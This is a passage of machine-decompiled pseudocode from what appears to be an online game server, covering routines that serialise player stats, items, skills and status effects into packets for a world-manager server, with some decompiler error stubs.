*)v2 + 32257); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SavePKCount"); return 8; } //----- (00447E30) -------------------------------------------------------- #error "447E30: undefined or illegal type '#593' (funcsize=377)" //----- (00448350) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SaveChestInfo(void *this, int buf) { void *v2; // ebp@1 signed int v3; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveChestInfo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveChestInfo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; *(_WORD *)(buf + 6) = 0; if ( *(_DWORD *)((char *)v2 + 139631) ) { do { if ( (unsigned __int8)(1 << v3 % 8) & *(_BYTE *)(v3 / 8 + *(_DWORD *)((char *)v2 + 139627)) ) { *(_WORD *)(buf + 2 * (*(_WORD *)(buf + 6))++ + 8) = v3; if ( 2 * (unsigned int)*(_WORD *)(buf + 6) + 10 > 0x1F40 ) break; } ++v3; } while ( (unsigned int)v3 < *(_DWORD *)((char *)v2 + 139631) ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveChestInfo"); return 0; } //----- (00448440) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::so_SaveLevel(void *this, int buf) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveLevel"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveLevel"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)buf = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_BYTE *)(buf + 4) = *((_BYTE *)v2 + 32192); *(_DWORD *)(buf + 5) = *(_DWORD *)((char *)v2 + 32193); *(_DWORD *)(buf + 9) = *(_DWORD *)((char *)v2 + 32197); *(_DWORD *)(buf + 13) = *(_DWORD *)((char *)v2 + 32217); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveLevel"); return 17; } //----- (00448510) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::so_SaveStat(void *this, int buf) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveStat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveStat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)buf = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(buf + 4) = *(_WORD *)((char *)v2 + 32201); *(_DWORD *)(buf + 8) = *(_WORD *)((char *)v2 + 32203); *(_DWORD *)(buf + 12) = *(_WORD *)((char *)v2 + 32205); *(_DWORD *)(buf + 16) = *(_WORD *)((char *)v2 + 32207); *(_DWORD *)(buf + 20) = *(_DWORD *)((char *)v2 + 32209); *(_DWORD *)(buf + 24) = *(_DWORD *)((char *)v2 + 32213); v2 = (char *)v2 + 32250; *(_DWORD *)(buf + 28) = *(_DWORD *)v2; *(_WORD *)(buf + 32) = *((_WORD *)v2 + 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveStat"); return 34; } //----- (00448610) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::so_SaveGameData(void *this, int buf) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveGameData"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveGameData"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (char *)v2 + 32280; *(_DWORD *)buf = *(_DWORD *)v2; *(_BYTE *)(buf + 4) = *((_BYTE *)v2 + 4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveGameData"); return 5; } //----- (00448680) -------------------------------------------------------- char __thiscall AbnormalStateSaver::lid_Call(AbnormalStateSaver *this, AbnormalStateContainer::AbstateElementInObject *ele, unsigned __int16 handle) { AbnormalStateSaver *v3; // esi@1 int v4; // eax@1 int v5; // eax@2 int v7; // eax@9 int v8; // edx@18 const char *v9; // [sp-8h] [bp-24h]@5 int v10; // [sp-4h] [bp-20h]@5 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v12; // [sp+18h] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "AbnormalStateSaver::lid_Call"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AbnormalStateSaver::lid_Call"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateSaver::lid_Call"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = ele->aeo_Index; v12 = 0; if ( v4 < 609 ) { v5 = dword_6BC994[v4]; } else { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", v4); v5 = 0; } if ( !v5 ) { v10 = handle; v9 = "AbnormalStateSaver::lid_Call : Null Abstate"; LABEL_6: AssertClass::ac_AssertFail(&shineassert, v9, v10); LABEL_7: --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AbnormalStateSaver::lid_Call"); return 1; } v7 = *(_DWORD *)v5; if ( !v7 || !*(_BYTE *)(v7 + 248) ) goto LABEL_7; if ( *(_WORD *)v7 == -1 ) { v10 = handle; v9 = "AbnormalStateSaver::lid_Call : Invalid ABState"; goto LABEL_6; } *(&v3->ass_buffer[1].handle.bufferlocation + 18 * v3->ass_buffer->abstatenum) = *(_WORD *)v7; *((_BYTE *)&v3->ass_buffer[1].handle.chrregnum + 36 * v3->ass_buffer->abstatenum) = ele->aeo_Strength; *(_WORD *)((char *)&v3->ass_buffer[2].handle.chrregnum + 36 * v3->ass_buffer->abstatenum + 1) = ele->aeo_RestCount; *(_WORD *)((char *)&v3->ass_buffer[2].handle.chrregnum + 36 * v3->ass_buffer->abstatenum + 3) = 0; *(unsigned int *)((char *)&v3->ass_buffer[1].handle.chrregnum + 36 * v3->ass_buffer->abstatenum + 1) = 1000 * (clockwatch.cw_CurrTick - ele->aeo_Tick.start) / 0xA; if ( AbnormalStateContainer::AbstateElementInObject::aeo_GetAbstateElement(ele) ) *(_DWORD *)((char *)&v3->ass_buffer[1].abstatenum + 36 * v3->ass_buffer->abstatenum + 1) = AbnormalStateContainer::AbstateElementInObject::aeo_GetRestTime(ele); else *(_DWORD *)((char *)&v3->ass_buffer[1].abstatenum + 36 * v3->ass_buffer->abstatenum + 1) = 0; SetItemData::SetItemAbstateEffect::siae_FillSetItemEffect(&ele->aeo_SetItemEffect); *((_BYTE *)&v3->ass_buffer[2].abstatenum + 36 * v3->ass_buffer->abstatenum + 1) = ele->gap9[7]; *((_DWORD *)&v3->ass_buffer[3].handle.bufferlocation + 9 * v3->ass_buffer->abstatenum) = *(_DWORD *)&ele->gap9[11]; if ( v3->ass_CharID ) NameString::operator__(&namestring, v3->ass_CharID); ++v3->ass_buffer->abstatenum; v8 = 36 * v3->ass_buffer->abstatenum + 44; v12 = -1; if ( (unsigned int)v8 <= 0x1F40 ) { FunctionEntarance::_FunctionEntarance(&_); return 1; } FunctionEntarance::_FunctionEntarance(&_); return 0; } //----- (004488D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SaveAbstate(void *this, int buffer, int charid) { void *v3; // edi@1 unsigned __int16 v4; // si@1 int v5; // esi@2 int (__stdcall **ass)(int, __int16); // [sp+Ch] [bp-18h]@1 int v8; // [sp+10h] [bp-14h]@1 int v9; // [sp+14h] [bp-10h]@1 int v10; // [sp+20h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveAbstate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveAbstate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ass = &AbnormalStateSaver::_vftable_; v8 = buffer; *(_WORD *)(buffer + 6) = 0; v10 = 0; v9 = charid; LOBYTE(v10) = 1; List::l_4AllInList((List *)((char *)v3 + 3536), (ListIteratorDefault *)&ass); v4 = *(_WORD *)(buffer + 6); if ( v4 ) v5 = 36 * v4 + 8; else v5 = 0; --funcallanalizer.fca_stackpoint; ass = &ListIteratorDefault::_vftable_; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveAbstate"); return v5; } // 63DB8C: using guessed type int (__stdcall *AbnormalStateSaver___vftable_)(int ele, __int16 handle); // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (004489C0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SaveItem(void *this, int buf) { void *v2; // esi@1 int v3; // eax@1 int v4; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_BYTE *)buf = 0; v3 = CharacterInventory::ci_FillBufferTotal( (CharacterInventory *)((char *)v2 + 32312), (char *)buf, (PROTO_ITEMPACKET_TOTAL *)(buf + 1)); --funcallanalizer.fca_stackpoint; v4 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveItem"); return v4; } //----- (00448A70) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_CHARSAVE_ALL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_ALL_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_CHARSAVE_ALL_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WholeSaver::ws_successall"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WholeSaver::ws_successall"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WholeSaver::ws_successall"); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_ALL_ACK"); } //----- (00448B40) -------------------------------------------------------- void __thiscall GameDBSession::NC_CHARSAVE_QUEST_DOING_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::NC_CHARSAVE_QUEST_DOING_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::NC_CHARSAVE_QUEST_DOING_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WholeSaver::ws_successquest"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WholeSaver::ws_successquest"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WholeSaver::ws_successquest"); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::NC_CHARSAVE_QUEST_DOING_ACK"); } //----- (00448C10) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_CHARSAVE_ABSTATE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_ABSTATE_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_CHARSAVE_ABSTATE_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WholeSaver::ws_successabstate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WholeSaver::ws_successabstate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WholeSaver::ws_successabstate"); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_ABSTATE_ACK"); } //----- (00448CE0) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_CHARSAVE_SKILL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_SKILL_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_CHARSAVE_SKILL_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WholeSaver::ws_successskill"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WholeSaver::ws_successskill"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WholeSaver::ws_successskill"); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_SKILL_ACK"); } //----- (00448DB0) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_CHARSAVE_REST_EXP_LAST_EXEC_TIME_SAVE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_REST_EXP_LAST_EXEC_TIME_SAVE_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_CHARSAVE_REST_EXP_LAST_EXEC_TIME_SAVE_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WholeSaver::ws_successskill"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WholeSaver::ws_successskill"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WholeSaver::ws_successskill"); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_REST_EXP_LAST_EXEC_TIME_SAVE_ACK"); } //----- (00448E80) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_CHARSAVE_AUTO_PICK_SAVE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_AUTO_PICK_SAVE_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_CHARSAVE_AUTO_PICK_SAVE_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GameDBSession::gds_NC_CHARSAVE_AUTO_PICK_SAVE_ACK"); } //----- (00448ED0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_Send_NC_CHARSAVE_2WLDMAN_SKILL_CMD(void *this, int nc) { int v2; // esi@1 void *v3; // edi@1 int v4; // eax@1 __int16 v5; // cx@1 int v6; // ebp@1 int v7; // edi@6 ZoneBaseSession *v8; // eax@8 CharaterSkillList *nca; // [sp+10h] [bp+4h]@2 v2 = nc; v3 = this; *(_WORD *)nc = 16402; LOWORD(v4) = (*(int (**)(void))(*(_DWORD *)this + 832))(); *(_WORD *)(nc + 2) = v4; v5 = *((_WORD *)v3 + 34256); v6 = 0; *(_WORD *)(nc + 5) = v5; *(_BYTE *)(nc + 4) = 1; if ( v5 ) { nca = (CharaterSkillList *)((char *)v3 + 68496); do { v4 = CharaterSkillList::csl_FillSendBuffer_Server(nca, (PROTO_NC_CHARSAVE_SKILL_REQ *)(v2 + 7), v6, 0); v6 = v4; if ( v4 <= 0 ) break; if ( v4 >= *(_WORD *)(v2 + 5) ) *(_BYTE *)(v2 + 4) |= 2u; v7 = 16 * *(_WORD *)(v2 + 13) + 15; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 16 * *(_WORD *)(v2 + 13) + 15) ) { v8 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v8); } else { AssertClass::ac_AssertFail(&shineassert, "WholeSaver::ws_save2worldmanager : Packet Too Long", v7); } LOBYTE(v4) = *(_BYTE *)(v2 + 4) & 2; *(_BYTE *)(v2 + 4) = v4 ^ ((*(_BYTE *)(v2 + 4) & 0xFC) + 4); } while ( v6 < *(_WORD *)(v2 + 5) ); } return v4; } //----- (00448FA0) -------------------------------------------------------- int __thiscall ItemSmallBag::isb_FullBufferItem2Server(ItemSmallBag *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int box, int *from, int bufsize) { ItemSmallBag *v6; // ebp@1 PROTO_ITEMPACKET_TOTAL *v7; // esi@1 ItemSmallBagVtbl *v8; // edx@1 int v9; // edi@1 ItemInform_ActionItem *v10; // eax@2 ItemInform_ActionItem *v11; // ebx@2 int v12; // eax@3 void *v13; // eax@4 unsigned __int16 v14; // ax@8 char v15; // al@8 PROTO_ITEMPACKET_TOTAL *v16; // edx@8 ItemSmallBagVtbl *v17; // edx@9 int result; // eax@10 int skipednumber; // [sp+Ch] [bp-90h]@1 int slot; // [sp+10h] [bp-8Ch]@1 int *v21; // [sp+14h] [bp-88h]@1 ItemAttributeClass *iac; // [sp+18h] [bp-84h]@4 char *v23; // [sp+1Ch] [bp-80h]@1 PROTO_ITEMPACKET_TOTAL *v24; // [sp+20h] [bp-7Ch]@1 int itemid; // [sp+24h] [bp-78h]@3 ItemTotalInformation iti; // [sp+28h] [bp-74h]@8 unsigned int v27; // [sp+98h] [bp-4h]@1 v6 = this; v7 = itmarr; v27 = (unsigned int)&skipednumber ^ __security_cookie; v21 = from; *itemcounter = 0; v8 = this->vfptr; v9 = 0; v23 = itemcounter; v24 = itmarr; skipednumber = 0; slot = 0; if ( ((int (*)(void))v8->isb_BagSizeOutput)() <= 0 ) { result = 0; } else { do { v10 = (ItemInform_ActionItem *)v6->vfptr->isb_GetInventoryCell(v6, slot); v11 = v10; if ( v10 ) { LOWORD(v12) = ItemInventoryCell::iic_ItemIdent(v10); itemid = v12; if ( (_WORD)v12 != -1 ) { v13 = *(void **)&v11[1].iiai_RegistNumber.binary.gap0[2]; iac = (ItemAttributeClass *)&itmattcontainer; if ( v13 ) iac = (ItemAttributeClass *)v13; if ( skipednumber >= *v21 ) { skipednumber = v6->vfptr->isb_BagSizeOutput(v6); ItemInform_ActionItem::sii_Export(v11, &iti); v14 = itemid; v7->location.Inven = ((_WORD)box << 10) ^ slot & 0x3FF; v15 = (char)&ItemTotalInformation::iti_fill2buffer_whole(&iti, iac, v14, v7->info.iti_registnum.binary.gap0)[2 - ((_BYTE)v7 + 3)]; v16 = v24; v7->datasize = v15; v7 = (PROTO_ITEMPACKET_TOTAL *)((char *)v7 + (unsigned __int8)v15 + 1); ++*v23; v9 = (char *)v7 - (char *)v16; ++*v21; if ( (signed int)((char *)v7 - (char *)v16) >= bufsize ) break; } else { ++skipednumber; } } } v17 = v6->vfptr; ++slot; } while ( slot < v17->isb_BagSizeOutput(v6) ); result = v9; } return result; } //----- (00449100) -------------------------------------------------------- int __thiscall ItemSmallBag::isb_ItemCount_Output(ItemSmallBag *this) { ItemSmallBag *v1; // esi@1 int v2; // ebx@1 int v3; // edi@1 ItemInform_ActionItem *v4; // eax@2 v1 = this; v2 = 0; v3 = 0; if ( ((int (*)(void))this->vfptr->isb_BagSizeOutput)() > 0 ) { do { v4 = (ItemInform_ActionItem *)v1->vfptr->isb_GetInventoryCell(v1, v3); if ( v4 && ItemInventoryCell::iic_ItemIdent(v4) != -1 ) ++v2; ++v3; } while ( v3 < v1->vfptr->isb_BagSizeOutput(v1) ); } return v2; } //----- (00449140) -------------------------------------------------------- void __thiscall WholeSaver::_WholeSaver(WholeSaver *this) { *(unsigned int *)((char *)&this->ws_savestorepoint.value + (_DWORD)((char *)&wholesaver + 163098432)) = (unsigned int)&EventReserveBase::_vftable_; _eh_vector_destructor_iterator_( this->ws_savestore, 0x148A8u, 2048, (void (__thiscall *)(void *))KingdomQuestGate::KingdomQuestGateKeeper::_KingdomQuestGateKeeper); } // 63D5DC: using guessed type int (*EventReserveBase___vftable_)(); //----- (00449170) -------------------------------------------------------- #error "449170: undefined or illegal type '#734' (funcsize=361)" //----- (00449650) -------------------------------------------------------- #error "449650: undefined or illegal type '#593' (funcsize=421)" //----- (00449C20) -------------------------------------------------------- void __thiscall EventSaveCheck::EventSaveCheck(EventSaveCheck *this) { this->baseclass_0.vfptr = (EventReserveBaseVtbl *)&EventSaveCheck::_vftable_; *(_QWORD *)&this->esc_savebuffer.location.map.n3_name[4] = 0i64; *(_DWORD *)&this->esc_savebuffer.location.map.n3_name[0] = 0; *(_QWORD *)&this->esc_savebuffer.location.map_kq.n3_name[4] = 0i64; *(_DWORD *)&this->esc_savebuffer.location.map_kq.n3_name[0] = 0; this->esc_abstate.pnt = (PROTO_NC_CHARSAVE_ABSTATE_REQ *)&this->esc_abstate; *(_DWORD *)&this->gap119c8[11996] = (char *)this + 36124; } // 63DE2C: using guessed type int (*EventSaveCheck___vftable_)(); //----- (00449C60) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SaveItem_Part(void *this, int nc, int buf) { void *v3; // ebx@1 int v4; // esi@1 int v5; // edi@1 int v6; // eax@2 int v7; // ebp@5 ZoneBaseSession *v8; // eax@7 int v9; // eax@10 int v10; // ebp@13 DebugLogging *v11; // eax@15 ZoneBaseSession *v12; // eax@16 int v13; // ecx@17 int v14; // eax@19 int v15; // ebp@22 ZoneBaseSession *v16; // eax@25 ItemSmallBag *v17; // ebx@27 int v18; // eax@28 int v19; // ebp@31 DebugLogging *v20; // eax@34 ZoneBaseSession *v22; // eax@35 DebugLogging *v23; // eax@38 char *v24; // [sp-8h] [bp-30h]@24 DebugLineFeed *v25; // [sp-4h] [bp-2Ch]@24 int from; // [sp+10h] [bp-18h]@1 void *v27; // [sp+14h] [bp-14h]@1 FunctionEntarance _; // [sp+18h] [bp-10h]@1 int v29; // [sp+24h] [bp-4h]@1 int bufa; // [sp+30h] [bp+8h]@1 int bufb; // [sp+30h] [bp+8h]@9 int bufc; // [sp+30h] [bp+8h]@18 int bufd; // [sp+30h] [bp+8h]@27 v3 = this; v27 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_SaveItem_Part"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveItem_Part"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SaveItem_Part"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = buf; v29 = 0; *(_BYTE *)(buf + 3) = 5; *(_BYTE *)(buf + 2) = 0; from = 0; bufa = ItemBag::ib_ItemCount_Output((ItemBag *)v3 + 8920); v5 = v4 + 4; do { *(_BYTE *)v5 = 0; v6 = CharacterInventory::ci_FillBufferInventoryTotal( (CharacterInventory *)((char *)v3 + 32312), (char *)(v4 + 4), (PROTO_ITEMPACKET_TOTAL *)(v4 + 5), 9, &from, 8000); if ( v6 < 0 ) { v11 = DebugLogging::operator<<( &MoreDisconnectLog, "ShineObjectClass::ShinePlayer::so_SaveItem_Part : Char Inven Fail. will be disconnect."); DebugLogging::operator<<(v11, &deb_LF); (*(void (__thiscall **)(void *, signed int, _DWORD, _DWORD))(*(_DWORD *)v3 + 1520))(v3, 1676, 0, 0); goto LABEL_39; } if ( from >= bufa ) *(_BYTE *)(v4 + 2) |= 0x80u; v7 = v6 + 7; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v6 + 7) ) { v8 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v8); } else { AssertClass::ac_AssertFail(&shineassert, "WholeSaver::so_SaveItem_Part : Packet Too Long", v7); } *(_BYTE *)(v4 + 2) ^= (*(_BYTE *)(v4 + 2) ^ (*(_BYTE *)(v4 + 2) + 1)) & 0x7F; } while ( from < bufa ); *(_BYTE *)(v4 + 3) = 8; *(_BYTE *)(v4 + 2) = 0; from = 0; bufb = ItemBag::ib_ItemCount_Output((ItemBag *)v3 + 8078); do { *(_BYTE *)v5 = 0; v9 = CharacterInventory::ci_FillBufferInventoryTotal( (CharacterInventory *)((char *)v3 + 32312), (char *)(v4 + 4), (PROTO_ITEMPACKET_TOTAL *)(v4 + 5), 8, &from, 8000); if ( v9 < 0 ) { v25 = &deb_LF; v24 = "ShineObjectClass::ShinePlayer::so_SaveItem_Part : Equip Inven Fail. will be disconnect."; LABEL_34: v20 = DebugLogging::operator<<(&MoreDisconnectLog, v24); DebugLogging::operator<<(v20, v25); (*(void (__thiscall **)(void *, signed int, _DWORD, _DWORD))(*(_DWORD *)v3 + 1520))(v3, 1676, 0, 0); --funcallanalizer.fca_stackpoint; v29 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SaveItem_Part"); return 0; } if ( from >= bufb ) *(_BYTE *)(v4 + 2) |= 0x80u; v10 = v9 + 7; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v9 + 7) ) { v12 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v12); } else { AssertClass::ac_AssertFail(&shineassert, "WholeSaver::so_SaveItem_Part : Packet Too Long", v10); } v13 = from; *(_BYTE *)(v4 + 2) ^= (*(_BYTE *)(v4 + 2) ^ (*(_BYTE *)(v4 + 2) + 1)) & 0x7F; } while ( v13 < bufb ); *(_BYTE *)(v4 + 3) = 18; *(_BYTE *)(v4 + 2) = 0; from = 0; bufc = ItemBag::ib_ItemCount_Output((ItemBag *)v3 + 13243); do { *(_BYTE *)v5 = 0; v14 = CharacterInventory::ci_FillBufferInventoryTotal( (CharacterInventory *)((char *)v3 + 32312), (char *)(v4 + 4), (PROTO_ITEMPACKET_TOTAL *)(v4 + 5), 12, &from, 8000); if ( v14 < 0 ) { v25 = &deb_LF; v24 = "ShineObjectClass::ShinePlayer::so_SaveItem_Part : MiniHouse Skin Inven Fail. will be disconnect."; goto LABEL_34; } if ( from >= bufc ) *(_BYTE *)(v4 + 2) |= 0x80u; v15 = v14 + 7; *(_BYTE *)(v4 + 2) ^= (*(_BYTE *)(v4 + 2) ^ (*(_BYTE *)(v4 + 2) + 1)) & 0x7F; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v14 + 7) ) { v16 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v16); } else { AssertClass::ac_AssertFail(&shineassert, "WholeSaver::so_SaveItem_Part : Packet Too Long", v15); } } while ( from < bufc ); v17 = (ItemSmallBag *)((char *)v3 + 57036); *(_BYTE *)(v4 + 3) = 34; *(_BYTE *)(v4 + 2) = 0; from = 0; bufd = ItemSmallBag::isb_ItemCount_Output(v17); while ( 1 ) { *(_BYTE *)v5 = 0; v18 = ItemSmallBag::isb_FullBufferItem2Server( v17, (char *)(v4 + 4), (PROTO_ITEMPACKET_TOTAL *)(v4 + 5), 15, &from, 8000); if ( v18 < 0 ) break; if ( from >= bufd ) *(_BYTE *)(v4 + 2) |= 0x80u; v19 = v18 + 7; *(_BYTE *)(v4 + 2) ^= (*(_BYTE *)(v4 + 2) ^ (*(_BYTE *)(v4 + 2) + 1)) & 0x7F; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v18 + 7) ) { v22 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); 